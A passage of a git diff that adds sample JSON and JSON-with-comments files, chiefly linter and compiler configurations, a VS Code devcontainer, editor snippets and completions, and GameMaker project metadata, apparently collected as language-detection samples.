+		"no-case-declarations": 0,
+		"no-cond-assign": 0,
+		"no-console": 0,
+		"no-empty": 0,
+		"quotes": [
+			"error",
+			"double",
+			{"avoidEscape": true}
+		],
+		"semi": [
+			"error",
+			"always"
+		],
+		"spaced-comment": [
+			"error",
+			"always"
+		],
+		"yoda": [
+			"error",
+			"always",
+			{"onlyEquality": true}
+		]
+	}
+}
diff --git a/samples/JSON with Comments/filenames/.jscsrc b/samples/JSON with Comments/filenames/.jscsrc
new file mode 100644
index 0000000000..4983924d8c
--- /dev/null
+++ b/samples/JSON with Comments/filenames/.jscsrc	
@@ -0,0 +1,43 @@
+{
+	"requireOperatorBeforeLineBreak": true,
+	"maximumLineLength": {
+		"value": 100,
+		"allowComments": true,
+		"allowRegex": true
+	},
+
+	"disallowMultipleLineStrings": true,
+	"disallowMixedSpacesAndTabs": true,
+	"disallowTrailingWhitespace": true,
+	"disallowSpaceAfterPrefixUnaryOperators": true,
+	"disallowSpaceBeforePostfixUnaryOperators": true,
+
+	"requireSpaceAfterKeywords": [
+		"if",
+		"else",
+		"for",
+		"while",
+		"do",
+		"switch",
+		"return",
+		"try",
+		"catch"
+	],
+	"requireSpaceBeforeBinaryOperators": true,
+	"requireSpaceAfterBinaryOperators": true,
+	"requireSpacesInConditionalExpression": true,
+	"requireSpaceBeforeBlockStatements": true,
+	"requireLineFeedAtFileEnd": true,
+	"requireSpacesInFunctionExpression": {
+		"beforeOpeningCurlyBrace": true
+	},
+	"disallowSpacesInAnonymousFunctionExpression": {
+		"beforeOpeningRoundBrace": true
+	},
+	"requireSpacesInsideObjectBrackets": "all",
+	// disabled until consensus can be formed
+	// "disallowSpacesInsideArrayBrackets": "all",
+	"disallowSpacesInsideParentheses": true,
+
+	"disallowNewlineBeforeBlockStatements": true
+}
diff --git a/samples/JSON with Comments/filenames/.jshintrc b/samples/JSON with Comments/filenames/.jshintrc
new file mode 100644
index 0000000000..f77978f74e
--- /dev/null
+++ b/samples/JSON with Comments/filenames/.jshintrc	
@@ -0,0 +1,91 @@
+{
+    // JSHint Default Configuration File (as on JSHint website)
+    // See http://jshint.com/docs/ for more details
+
+    "maxerr"        : 50,       // {int} Maximum error before stopping
+
+    // Enforcing
+    "bitwise"       : true,     // true: Prohibit bitwise operators (&, |, ^, etc.)
+    "camelcase"     : false,    // true: Identifiers must be in camelCase
+    "curly"         : true,     // true: Require {} for every new block or scope
+    "eqeqeq"        : true,     // true: Require triple equals (===) for comparison
+    "forin"         : true,     // true: Require filtering for..in loops with obj.hasOwnProperty()
+    "freeze"        : true,     // true: prohibits overwriting prototypes of native objects such as Array, Date etc.
+    "immed"         : false,    // true: Require immediate invocations to be wrapped in parens e.g. `(function () { } ());`
+    "latedef"       : false,    // true: Require variables/functions to be defined before being used
+    "newcap"        : false,    // true: Require capitalization of all constructor functions e.g. `new F()`
+    "noarg"         : true,     // true: Prohibit use of `arguments.caller` and `arguments.callee`
+    "noempty"       : true,     // true: Prohibit use of empty blocks
+    "nonbsp"        : true,     // true: Prohibit "non-breaking whitespace" characters.
+    "nonew"         : false,    // true: Prohibit use of constructors for side-effects (without assignment)
+    "plusplus"      : false,    // true: Prohibit use of `++` and `--`
+    "quotmark"      : false,    // Quotation mark consistency:
+                                //   false    : do nothing (default)
+                                //   true     : ensure whatever is used is consistent
+                                //   "single" : require single quotes
+                                //   "double" : require double quotes
+    "undef"         : true,     // true: Require all non-global variables to be declared (prevents global leaks)
+    "unused"        : true,     // Unused variables:
+                                //   true     : all variables, last function parameter
+                                //   "vars"   : all variables only
+                                //   "strict" : all variables, all function parameters
+    "strict"        : true,     // true: Requires all functions run in ES5 Strict Mode
+    "maxparams"     : false,    // {int} Max number of formal params allowed per function
+    "maxdepth"      : false,    // {int} Max depth of nested blocks (within functions)
+    "maxstatements" : false,    // {int} Max number statements per function
+    "maxcomplexity" : false,    // {int} Max cyclomatic complexity per function
+    "maxlen"        : false,    // {int} Max number of characters per line
+    "varstmt"       : false,    // true: Disallow any var statements. Only `let` and `const` are allowed.
+
+    // Relaxing
+    "asi"           : false,     // true: Tolerate Automatic Semicolon Insertion (no semicolons)
+    "boss"          : false,     // true: Tolerate assignments where comparisons would be expected
+    "debug"         : false,     // true: Allow debugger statements e.g. browser breakpoints.
+    "eqnull"        : false,     // true: Tolerate use of `== null`
+    "esversion"     : 5,         // {int} Specify the ECMAScript version to which the code must adhere.
+    "moz"           : false,     // true: Allow Mozilla specific syntax (extends and overrides esnext features)
+                                 // (ex: `for each`, multiple try/catch, function expression…)
+    "evil"          : false,     // true: Tolerate use of `eval` and `new Function()`
+    "expr"          : false,     // true: Tolerate `ExpressionStatement` as Programs
+    "funcscope"     : false,     // true: Tolerate defining variables inside control statements
+    "globalstrict"  : false,     // true: Allow global "use strict" (also enables 'strict')
+    "iterator"      : false,     // true: Tolerate using the `__iterator__` property
+    "lastsemic"     : false,     // true: Tolerate omitting a semicolon for the last statement of a 1-line block
+    "laxbreak"      : false,     // true: Tolerate possibly unsafe line breakings
+    "laxcomma"      : false,     // true: Tolerate comma-first style coding
+    "loopfunc"      : false,     // true: Tolerate functions being defined in loops
+    "multistr"      : false,     // true: Tolerate multi-line strings
+    "noyield"       : false,     // true: Tolerate generator functions with no yield statement in them.
+    "notypeof"      : false,     // true: Tolerate invalid typeof operator values
+    "proto"         : false,     // true: Tolerate using the `__proto__` property
+    "scripturl"     : false,     // true: Tolerate script-targeted URLs
+    "shadow"        : false,     // true: Allows re-define variables later in code e.g. `var x=1; x=2;`
+    "sub"           : false,     // true: Tolerate using `[]` notation when it can still be expressed in dot notation
+    "supernew"      : false,     // true: Tolerate `new function () { ... };` and `new Object;`
+    "validthis"     : false,     // true: Tolerate using this in a non-constructor function
+
+    // Environments
+    "browser"       : true,     // Web Browser (window, document, etc)
+    "browserify"    : false,    // Browserify (node.js code in the browser)
+    "couch"         : false,    // CouchDB
+    "devel"         : true,     // Development/debugging (alert, confirm, etc)
+    "dojo"          : false,    // Dojo Toolkit
+    "jasmine"       : false,    // Jasmine
+    "jquery"        : false,    // jQuery
+    "mocha"         : true,     // Mocha
+    "mootools"      : false,    // MooTools
+    "node"          : false,    // Node.js
+    "nonstandard"   : false,    // Widely adopted globals (escape, unescape, etc)
+    "phantom"       : false,    // PhantomJS
+    "prototypejs"   : false,    // Prototype and Scriptaculous
+    "qunit"         : false,    // QUnit
+    "rhino"         : false,    // Rhino
+    "shelljs"       : false,    // ShellJS
+    "typed"         : false,    // Globals for typed array constructions
+    "worker"        : false,    // Web Workers
+    "wsh"           : false,    // Windows Scripting Host
+    "yui"           : false,    // Yahoo User Interface
+
+    // Custom Globals
+    "globals"       : {}        // additional predefined global variables
+}
diff --git a/samples/JSON with Comments/filenames/.jslintrc b/samples/JSON with Comments/filenames/.jslintrc
new file mode 100644
index 0000000000..9d4c466c82
--- /dev/null
+++ b/samples/JSON with Comments/filenames/.jslintrc	
@@ -0,0 +1,23 @@
+{
+	"indent": 4,
+	"maxlen": 120,
+	"browser": false,
+	"couch": false,
+	"devel": false,
+	"node": false,
+	"rhino": false,
+	"white": true,
+	"plusplus":true,
+	"stupid":true,
+
+	"predef": [
+		"setTimeout",
+		"module",
+		"exports",
+		"define",
+		"require",
+		"window",
+		"buster",
+		"sinon"
+	]
+}
diff --git a/samples/JSON with Comments/filenames/.swcrc b/samples/JSON with Comments/filenames/.swcrc
new file mode 100644
index 0000000000..353b7492a8
--- /dev/null
+++ b/samples/JSON with Comments/filenames/.swcrc	
@@ -0,0 +1,20 @@
+{
+  "jsc": {
+    "parser": {
+      "syntax": "ecmascript",
+      // use `tsx` for TypeScript
+      "jsx": false
+    },
+    "target": "es2015",
+    "loose": false,
+    "minify": {
+      "compress": false,
+      "mangle": false
+    }
+  },
+  "module": {
+    "type": "es6"
+  },
+  "minify": false,
+  "isModule": "unknown"
+}
diff --git a/samples/JSON with Comments/filenames/devcontainer.json b/samples/JSON with Comments/filenames/devcontainer.json
new file mode 100644
index 0000000000..2ccb926ae3
--- /dev/null
+++ b/samples/JSON with Comments/filenames/devcontainer.json	
@@ -0,0 +1,61 @@
+{
+	"name": "Go",
+	"dockerFile": "Dockerfile",
+	"runArgs": [
+		"--cap-add=SYS_PTRACE", "--security-opt", "seccomp=unconfined",
+		// Mount go mod cache
+		"-v", "k8sinfra-gomodcache:/go/pkg",
+		// Cache vscode exentsions installs and homedir
+		"-v", "k8sinfra-vscodecache:/root/.vscode-server",
+		// Keep command history 
+		"-v", "k8sinfra-bashhistory:/root/commandhistory",
+		// Mount docker socket for docker builds
+		"-v", "/var/run/docker.sock:/var/run/docker.sock",
+		// Use host network
+		"--network=host",
+		// Mount ssh 
+		"-v", "${env:HOME}${env:USERPROFILE}/.ssh:/root/.ssh",
+		// Mount azure, git and kubernetes config dirs
+		"-v", "${env:HOME}${env:USERPROFILE}/.azure:/root/.azure",
+		"-v", "${env:HOME}${env:USERPROFILE}/.gitconfig:/root/.gitconfig", // Required due to volume mount used for .vscode-server
+		"-v", "${env:HOME}${env:USERPROFILE}/.kube:/root/.kube"
+	],
+	"workspaceMount": "src=${localWorkspaceFolder},dst=/workspace,type=bind,consistency=delegated",
+	"workspaceFolder": "/workspace",
+	"settings": {
+		"go.gopath": "/go",
+		"go.useLanguageServer": true,
+		"[go]": {
+			"editor.snippetSuggestions": "none",
+			"editor.formatOnSave": true,
+			"editor.codeActionsOnSave": {
+				"source.organizeImports": true
+			}
+		},
+		"gopls": {
+			"usePlaceholders": true, // add parameter placeholders when completing a function
+			// Experimental settings
+			"completeUnimported": true, // autocomplete unimported packages
+			"watchFileChanges": true, // watch file changes outside of the editor
+			"deepCompletion": true // enable deep completion
+		},
+		"files.eol": "\n", // formatting only supports LF line endings,
+		"remote.extensionKind": {
+			"ms-azuretools.vscode-docker": "workspace"
+		},
+		"yaml.schemas": {
+			"kubernetes": "*.yaml"
+		},
+		"go.lintTool":"golangci-lint",
+		"go.lintFlags": [
+		"--fast"
+		]
+	},
+	"extensions": [
+		"ms-vsliveshare.vsliveshare-pack",
+		"ms-azuretools.vscode-docker",
+		"golang.Go",
+		"redhat.vscode-yaml",
+		"ms-kubernetes-tools.vscode-kubernetes-tools"
+	]
+}
diff --git a/samples/JSON with Comments/filenames/jsconfig.json b/samples/JSON with Comments/filenames/jsconfig.json
new file mode 100644
index 0000000000..0136d6f20d
--- /dev/null
+++ b/samples/JSON with Comments/filenames/jsconfig.json	
@@ -0,0 +1,16 @@
+{
+	// See https://go.microsoft.com/fwlink/?LinkId=759670
+	// for the documentation about the jsconfig.json format
+	"compilerOptions": {
+		"target": "es6",
+		"module": "commonjs",
+		"allowSyntheticDefaultImports": true
+	},
+	"exclude": [
+		"node_modules",
+		"bower_components",
+		"jspm_packages",
+		"tmp",
+		"temp"
+	]
+}
diff --git a/samples/JSON with Comments/filenames/language-configuration.json b/samples/JSON with Comments/filenames/language-configuration.json
new file mode 100644
index 0000000000..f245802eb2
--- /dev/null
+++ b/samples/JSON with Comments/filenames/language-configuration.json	
@@ -0,0 +1,28 @@
+{
+	"comments": {
+		// symbol used for single line comment. Remove this entry if your language does not support line comments
+		"lineComment": "#"
+	},
+	// symbols used as brackets
+	"brackets": [
+		["{", "}"],
+		["[", "]"],
+		["(", ")"]
+	],
+	// symbols that are auto closed when typing
+	"autoClosingPairs": [
+		["{", "}"],
+		["[", "]"],
+		["(", ")"],
+		["\"", "\""],
+		["'", "'"]
+	],
+	// symbols that that can be used to surround a selection
+	"surroundingPairs": [
+		["{", "}"],
+		["[", "]"],
+		["(", ")"],
+		["\"", "\""],
+		["'", "'"]
+	]
+}
diff --git a/samples/JSON with Comments/filenames/tsconfig.json b/samples/JSON with Comments/filenames/tsconfig.json
new file mode 100644
index 0000000000..ac8a8649ec
--- /dev/null
+++ b/samples/JSON with Comments/filenames/tsconfig.json	
@@ -0,0 +1,8 @@
+{
+	"compilerOptions": {
+		/* Basic Options */
+		"target": "es6",
+		"module": "commonjs",
+		"outDir": "dist"
+	}
+}
\ No newline at end of file
diff --git a/samples/JSON with Comments/filenames/tslint.json b/samples/JSON with Comments/filenames/tslint.json
new file mode 100644
index 0000000000..98b2bfdc73
--- /dev/null
+++ b/samples/JSON with Comments/filenames/tslint.json	
@@ -0,0 +1,115 @@
+{
+  "rules": {
+    // -- Strict errors --
+    // These lint rules are likely always a good idea.
+
+    // Force function overloads to be declared together. This ensures readers understand APIs.
+    "adjacent-overload-signatures": true,
+
+    // Do not allow the subtle/obscure comma operator.
+    "ban-comma-operator": true,
+
+    // Do not allow internal modules or namespaces . These are deprecated in favor of ES6 modules.
+    "no-namespace": true,
+
+    // Do not allow parameters to be reassigned. To avoid bugs, developers should instead assign new values to new vars.
+    "no-parameter-reassignment": true,
+
+    // Force the use of ES6-style imports instead of /// <reference path=> imports.
+    "no-reference": true,
+
+    // Do not allow type assertions that do nothing. This is a big warning that the developer may not understand the
+    // code currently being edited (they may be incorrectly handling a different type case that does not exist).
+    "no-unnecessary-type-assertion": true,
+
+    // Disallow nonsensical label usage.
+    "label-position": true,
+
+    // Disallows the (often typo) syntax if (var1 = var2). Replace with if (var2) { var1 = var2 }.
+    "no-conditional-assignment": true,
+
+    // Disallows constructors for primitive types (e.g. new Number('123'), though Number('123') is still allowed).
+    "no-construct": true,
+
+    // Do not allow super() to be called twice in a constructor.
+    "no-duplicate-super": true,
+
+    // Do not allow the same case to appear more than once in a switch block.
+    "no-duplicate-switch-case": true,
+
+    // Do not allow a variable to be declared more than once in the same block. Consider function parameters in this
+    // rule.
+    "no-duplicate-variable": [true, "check-parameters"],
+
+    // Disallows a variable definition in an inner scope from shadowing a variable in an outer scope. Developers should
+    // instead use a separate variable name.
+    "no-shadowed-variable": true,
+
+    // Empty blocks are almost never needed. Allow the one general exception: empty catch blocks.
+    "no-empty": [true, "allow-empty-catch"],
+
+    // Functions must either be handled directly (e.g. with a catch() handler) or returned to another function.
+    // This is a major source of errors in Cloud Functions and the team strongly recommends leaving this rule on.
+    "no-floating-promises": true,
+
+    // Do not allow any imports for modules that are not in package.json. These will almost certainly fail when
+    // deployed.
+    "no-implicit-dependencies": true,
+
+    // The 'this' keyword can only be used inside of classes.
+    "no-invalid-this": true,
+
+    // Do not allow strings to be thrown because they will not include stack traces. Throw Errors instead.
+    "no-string-throw": true,
+
+    // Disallow control flow statements, such as return, continue, break, and throw in finally blocks.
+    "no-unsafe-finally": true,
+
+    // Expressions must always return a value. Avoids common errors like const myValue = functionReturningVoid();
+    "no-void-expression": [true, "ignore-arrow-function-shorthand"],
+
+    // Disallow duplicate imports in the same file.
+    "no-duplicate-imports": true,
+
+
+    // -- Strong Warnings --
+    // These rules should almost never be needed, but may be included due to legacy code.
+    // They are left as a warning to avoid frustration with blocked deploys when the developer
+    // understand the warning and wants to deploy anyway.
+
+    // Warn when an empty interface is defined. These are generally not useful.
+    "no-empty-interface": {"severity": "warning"},
+
+    // Warn when an import will have side effects.
+    "no-import-side-effect": {"severity": "warning"},
+
+    // Warn when variables are defined with var. Var has subtle meaning that can lead to bugs. Strongly prefer const for
+    // most values and let for values that will change.
+    "no-var-keyword": {"severity": "warning"},
+
+    // Prefer === and !== over == and !=. The latter operators support overloads that are often accidental.
+    "triple-equals": {"severity": "warning"},
+
+    // Warn when using deprecated APIs.
+    "deprecation": {"severity": "warning"},
+
+    // -- Light Warnings --
+    // These rules are intended to help developers use better style. Simpler code has fewer bugs. These would be "info"
+    // if TSLint supported such a level.
+
+    // prefer for( ... of ... ) to an index loop when the index is only used to fetch an object from an array.
+    // (Even better: check out utils like .map if transforming an array!)
+    "prefer-for-of": {"severity": "warning"},
+
+    // Warns if function overloads could be unified into a single function with optional or rest parameters.
+    "unified-signatures": {"severity": "warning"},
+
+    // Prefer const for values that will not change. This better documents code.
+    "prefer-const": {"severity": "warning"},
+
+    // Multi-line object literals and function calls should have a trailing comma. This helps avoid merge conflicts.
+    "trailing-comma": {"severity": "warning"}
+  },
+
+  "defaultSeverity": "error"
+}
diff --git a/samples/JSON with Comments/jade.sublime-completions b/samples/JSON with Comments/jade.sublime-completions
new file mode 100644
index 0000000000..cd3894b715
--- /dev/null
+++ b/samples/JSON with Comments/jade.sublime-completions	
@@ -0,0 +1,136 @@
+{
+	"scope": "entity.name.tag.jade",
+	"completions":
+	[
+		"a",//	Defines a hyperlink
+		"abbr",//	Defines an abbreviation
+		"acronym",//	Not supported in HTML5. Use <abbr> instead.
+		//Defines an acronym
+		"address",//	Defines contact information for the author/owner of a document
+		"applet",//	Not supported in HTML5. Use <object> instead.
+		//Defines an embedded applet
+		"area",//	Defines an area inside an image-map
+		"article",//	Defines an article
+		"aside",//	Defines content aside from the page content
+		"audio",//	Defines sound content
+		"b",//	Defines bold text
+		"base",//	Specifies the base URL/target for all relative URLs in a document
+		"basefont",//	Not supported in HTML5. Use CSS instead.
+		//Specifies a default color, size, and font for all text in a document
+		"bdi",//	Isolates a part of text that might be formatted in a different direction from other text outside it
+		"bdo",//	Overrides the current text direction
+		"big",//	Not supported in HTML5. Use CSS instead.
+		//Defines big text
+		"blockquote",//	Defines a section that is quoted from another source
+		"body",//	Defines the document's body
+		"br",//	Defines a single line break
+		"button",//	Defines a clickable button
+		"canvas",//	Used to draw graphics, on the fly, via scripting (usually JavaScript)
+		"caption",//	Defines a table caption
+		"center",//	Not supported in HTML5. Use CSS instead.
+		//Defines centered text
+		"cite",//	Defines the title of a work
+		"code",//	Defines a piece of computer code
+		"col",//	Specifies column properties for each column within a <colgroup> element 
+		"colgroup",//	Specifies a group of one or more columns in a table for formatting
+		"command",//	Defines a command button that a user can invoke
+		"datalist",//	Specifies a list of pre-defined options for input controls
+		"dd",//	Defines a description/value of a term in a description list
+		"del",//	Defines text that has been deleted from a document
+		"details",//	Defines additional details that the user can view or hide
+		"dfn",//	Defines a definition term
+		"dialog",//	Defines a dialog box or window
+		"dir",//	Not supported in HTML5. Use <ul> instead.
+		//Defines a directory list
+		"div",//	Defines a section in a document
+		"dl",//	Defines a description list
+		"dt",//	Defines a term/name in a description list
+		"em",//	Defines emphasized text 
+		"embed",//	Defines a container for an external (non-HTML) application
+		"fieldset",//	Groups related elements in a form
+		"figcaption",//	Defines a caption for a <figure> element
+		"figure",//	Specifies self-contained content
+		"font",//	Not supported in HTML5. Use CSS instead.
+		//Defines font, color, and size for text
+		"footer",//	Defines a footer for a document or section
+		"form",//	Defines an HTML form for user input
+		"frame",//	Not supported in HTML5.
+		//Defines a window (a frame) in a frameset
+		"frameset",//	Not supported in HTML5.
+		//Defines a set of frames
+		"h1",// to <h6>	 Defines HTML headings
+		"head",//	Defines information about the document
+		"header",//	Defines a header for a document or section
+		"hgroup",//	Groups heading elements
+		"hr",//	 Defines a thematic change in the content
+		"html",//	Defines the root of an HTML document
+		"i",//	Defines a part of text in an alternate voice or mood
+		"iframe",//	Defines an inline frame
+		"img",//	Defines an image
+		"input",//	Defines an input control
+		"ins",//	Defines a text that has been inserted into a document
+		"kbd",//	Defines keyboard input
+		"keygen",//	Defines a key-pair generator field (for forms)
+		"label",//	Defines a label for an <input> element
+		"legend",//	Defines a caption for a <fieldset> element
+		"li",//	Defines a list item
+		"link",//	Defines the relationship between a document and an external resource (most used to link to style sheets)
+		"main",//	Specifies the main content of a document
+		"map",//	Defines a client-side image-map
+		"mark",//	Defines marked/highlighted text
+		"menu",//	Defines a list/menu of commands
+		"meta",//	Defines metadata about an HTML document
+		"meter",//	Defines a scalar measurement within a known range (a gauge)
+		"nav",//	Defines navigation links
+		"noframes",//	Not supported in HTML5.
+		//Defines an alternate content for users that do not support frames
+		"noscript",//	Defines an alternate content for users that do not support client-side scripts
+		"object",//	Defines an embedded object
+		"ol",//	Defines an ordered list
+		"optgroup",//	Defines a group of related options in a drop-down list
+		"option",//	Defines an option in a drop-down list
+		"output",//	Defines the result of a calculation
+		"p",//	Defines a paragraph
+		"param",//	Defines a parameter for an object
+		"pre",//	Defines preformatted text
+		"progress",//	Represents the progress of a task
+		"q",//	Defines a short quotation
+		"rp",//	Defines what to show in browsers that do not support ruby annotations
+		"rt",//	Defines an explanation/pronunciation of characters (for East Asian typography)
+		"ruby",//	Defines a ruby annotation (for East Asian typography)
+		"s",//	Defines text that is no longer correct
+		"samp",//	Defines sample output from a computer program
+		"script",//	Defines a client-side script
+		"section",//	Defines a section in a document
+		"select",//	Defines a drop-down list
+		"small",//	Defines smaller text
+		"source",//	Defines multiple media resources for media elements (<video> and <audio>)
+		"span",//	Defines a section in a document
+		"strike",//	Not supported in HTML5. Use <del> instead.
+		//Defines strikethrough text
+		"strong",//	Defines important text
+		"style",//	Defines style information for a document
+		"sub",//	Defines subscripted text
+		"summary",//	Defines a visible heading for a <details> element
+		"sup",//	Defines superscripted text
+		"table",//	Defines a table
+		"tbody",//	Groups the body content in a table
+		"td",//	Defines a cell in a table
+		"textarea",//	Defines a multiline input control (text area)
+		"tfoot",//	Groups the footer content in a table
+		"th",//	Defines a header cell in a table
+		"thead",//	Groups the header content in a table
+		"time",//	Defines a date/time
+		"title",//	Defines a title for the document
+		"tr",//	Defines a row in a table
+		"track",//	Defines text tracks for media elements (<video> and <audio>)
+		"tt",//	Not supported in HTML5. Use CSS instead.
+		//Defines teletype text
+		"u",//	Defines text that should be stylistically different from normal text
+		"ul",//	Defines an unordered list
+		"var",//	Defines a variable
+		"video",//	Defines a video or movie
+		"wbr"
+	]
+}
+
diff --git a/samples/JSON with Comments/plyr.code-workspace b/samples/JSON with Comments/plyr.code-workspace
new file mode 100644
index 0000000000..bcd64eaa51
--- /dev/null
+++ b/samples/JSON with Comments/plyr.code-workspace	
@@ -0,0 +1,39 @@
+{
+  "folders": [
+    {
+      "path": "."
+    }
+  ],
+  "settings": {
+    "search.exclude": {
+      "**/node_modules": true,
+      "**/dist": true
+    },
+
+    // Linting
+    "stylelint.enable": true,
+    "stylelint.validate": ["css", "scss"],
+    "css.validate": false,
+    "less.validate": false,
+    "scss.validate": false,
+    "javascript.validate.enable": false,
+
+    // Formatting
+    "editor.defaultFormatter": "esbenp.prettier-vscode",
+    "editor.tabSize": 2,
+    "editor.insertSpaces": true,
+    "editor.formatOnSave": true,
+
+    // Trim on save
+    "files.trimTrailingWhitespace": true,
+
+    // Special file associations
+    "files.associations": {
+      ".eslintrc": "jsonc"
+    },
+
+    "editor.codeActionsOnSave": {
+      "source.fixAll": true
+    }
+  }
+}
diff --git a/samples/JSON with Comments/vue.code-snippets b/samples/JSON with Comments/vue.code-snippets
new file mode 100644
index 0000000000..6142ff3155
--- /dev/null
+++ b/samples/JSON with Comments/vue.code-snippets	
@@ -0,0 +1,80 @@
+{
+    // Place your snippets for vue here. Each snippet is defined under a snippet name and has a prefix, body and
+    // description. The prefix is what is used to trigger the snippet and the body will be expanded and inserted. Possible variables are:
+    // $1, $2 for tab stops, $0 for the final cursor position, and \${1:label}, \${2:another} for placeholders. Placeholders with the
+    // same ids are connected.
+    "script": {
+        "scope": "vue",
+        "prefix": "script",
+        "body": [
+            "<script lang=\"ts\">",
+            "import { defineComponent } from 'vue';",
+            "",
+            "export default defineComponent({",
+            "  $2",
+            "});",
+            "</script>"
+        ],
+        "description": "Create <script> block"
+    },
+    "script setup": {
+        "scope": "vue",
+        "prefix": "script setup",
+        "body": [
+            "<script lang=\"ts\" setup>",
+            "defineProps<{ $1 }>();",
+            "</script>"
+        ],
+        "description": "Create <script setup> + <script> blocks"
+    },
+    "style": {
+        "scope": "vue",
+        "prefix": "style",
+        "body": [
+            "<style lang=\"scss\" scoped>",
+            "$1",
+            "</style>"
+        ],
+        "description": "Create <style> block"
+    },
+    "v-for": {
+        "scope": "html",
+        "prefix": "v-for",
+        "body": [
+            "<template v-for=\"$1 in $2\">",
+            "  $3",
+            "</template>"
+        ],
+        "description": "Create html tag with v-for"
+    },
+    "v-if": {
+        "scope": "html",
+        "prefix": "v-if",
+        "body": [
+            "<template v-if=\"$1\">",
+            "  $2",
+            "</template>"
+        ],
+        "description": "Create html tag with v-if"
+    },
+    "v-else-if": {
+        "scope": "html",
+        "prefix": "v-else-if",
+        "body": [
+            "<template v-else-if=\"$1\">",
+            "  $2",
+            "</template>"
+        ],
+        "description": "Create html tag with v-else-if"
+    },
+    "v-else": {
+        "scope": "html",
+        "prefix": "v-else",
+        "body": [
+            "<template v-else>",
+            "  $2",
+            "</template>"
+        ],
+        "description": "Create html tag with v-else"
+    }
+}
diff --git a/samples/JSON/2ea73365-b6f1-4bd1-a454-d57a67e50684.yy b/samples/JSON/2ea73365-b6f1-4bd1-a454-d57a67e50684.yy
new file mode 100644
index 0000000000..78217a14fa
--- /dev/null
+++ b/samples/JSON/2ea73365-b6f1-4bd1-a454-d57a67e50684.yy
@@ -0,0 +1,15 @@
+{
+    "id": "2ea73365-b6f1-4bd1-a454-d57a67e50684",
+    "modelName": "GMFolder",
+    "mvc": "1.1",
+    "name": "2ea73365-b6f1-4bd1-a454-d57a67e50684",
+    "children": [
+        "d74cdac8-2717-46a5-a8ed-5f732e02a268",
+        "b68cebe1-d0fa-44ed-8a26-595c2885a1fc",
+        "1e95eeaf-b11a-44a2-a1b0-bd201f6366ee"
+    ],
+    "filterType": "GMSprite",
+    "folderName": "sprites",
+    "isDefaultView": false,
+    "localisedFolderName": "ResourceTree_Sprites"
+}
\ No newline at end of file
diff --git a/samples/JSON/4DPopGit.4DProject b/samples/JSON/4DPopGit.4DProject
new file mode 100644
index 0000000000..139a4583a8
--- /dev/null
+++ b/samples/JSON/4DPopGit.4DProject
@@ -0,0 +1,3 @@
+{
+	"$comment": "The project file let you override the location for most folders"
+}
diff --git a/samples/JSON/GMS2_Project.yyp b/samples/JSON/GMS2_Project.yyp
new file mode 100644
index 0000000000..8006d3da23
--- /dev/null
+++ b/samples/JSON/GMS2_Project.yyp
@@ -0,0 +1,374 @@
+{
+    "id": "62aa8308-837c-4613-a44e-a1306eee5c3c",
+    "modelName": "GMProject",
+    "mvc": "1.0",
+    "IsDnDProject": false,
+    "configs": [
+        
+    ],
+    "option_ecma": false,
+    "parentProject": {
+        "id": "18731a27-007b-4c7c-802b-b7eac446e27a",
+        "modelName": "GMProjectParent",
+        "mvc": "1.0",
+        "alteredResources": [
+            {
+                "Key": "ed6a955d-5826-4f98-a450-10b414266c27",
+                "Value": {
+                    "configDeltas": [
+                        "inherited"
+                    ],
+                    "id": "a3c2778c-ba48-40f4-b180-c31dd0bf91c2",
+                    "resourcePath": "options\\main\\options_main.yy",
+                    "resourceType": "GMMainOptions"
+                }
+            }
+        ],
+        "hiddenResources": [
+            
+        ],
+        "projectPath": "${base_project}"
+    },
+    "resources": [
+        {
+            "Key": "05f45e8d-a727-4650-b0c2-0ac5f793f164",
+            "Value": {
+                "id": "6f75d81a-3fe8-484f-8178-ce66c6b9b8cf",
+                "resourcePath": "views\\05f45e8d-a727-4650-b0c2-0ac5f793f164.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "128687b6-cf4b-4bad-bfec-52960e01a538",
+            "Value": {
+                "id": "ec6296c1-a5d9-4c21-b3e3-5d4363a2070c",
+                "resourcePath": "views\\128687b6-cf4b-4bad-bfec-52960e01a538.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "1e95eeaf-b11a-44a2-a1b0-bd201f6366ee",
+            "Value": {
+                "id": "b109c79d-b9d0-4d6a-8b13-e460efb93824",
+                "resourcePath": "views\\1e95eeaf-b11a-44a2-a1b0-bd201f6366ee.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "227a1abf-7147-4a8b-bb31-62a5d3a9a07e",
+            "Value": {
+                "id": "d2010bb7-ac3c-4717-a93e-edb7e447e257",
+                "resourcePath": "objects\\obj_king\\obj_king.yy",
+                "resourceType": "GMObject"
+            }
+        },
+        {
+            "Key": "297651c9-b7a7-4a65-97f1-8ceb3b64f65d",
+            "Value": {
+                "id": "ab37c354-5987-4384-ae57-4edb8c73110d",
+                "resourcePath": "views\\297651c9-b7a7-4a65-97f1-8ceb3b64f65d.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "2d0a83ba-80a2-40b2-8805-93347555ef97",
+            "Value": {
+                "id": "cb703663-2592-4c26-bfbb-a11a76390b27",
+                "resourcePath": "objects\\par_depthobject\\par_depthobject.yy",
+                "resourceType": "GMObject"
+            }
+        },
+        {
+            "Key": "2ea73365-b6f1-4bd1-a454-d57a67e50684",
+            "Value": {
+                "id": "1136167c-dc54-4c46-b98d-c616e004866b",
+                "resourcePath": "views\\2ea73365-b6f1-4bd1-a454-d57a67e50684.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "31ff7d32-f0cd-4e2e-a129-338e3e580a1a",
+            "Value": {
+                "id": "027854a7-69ad-4dd9-bb97-94cf1cd09c90",
+                "resourcePath": "sprites\\spr_shadow\\spr_shadow.yy",
+                "resourceType": "GMSprite"
+            }
+        },
+        {
+            "Key": "48b46420-2f90-4794-9064-b6fdfad99fbd",
+            "Value": {
+                "id": "843e68a6-9d39-4f4c-99b0-7e2beb280bdc",
+                "resourcePath": "views\\48b46420-2f90-4794-9064-b6fdfad99fbd.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "4c4a5f6b-851e-45f2-9d16-4e770693d0d6",
+            "Value": {
+                "id": "d27ca460-a737-425d-b658-fda4e232da2d",
+                "resourcePath": "views\\4c4a5f6b-851e-45f2-9d16-4e770693d0d6.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "53f34530-342f-440f-8cd3-3df3c5bfc232",
+            "Value": {
+                "id": "7189b8af-fafa-4643-b05a-1efec553c075",
+                "resourcePath": "views\\53f34530-342f-440f-8cd3-3df3c5bfc232.yy",
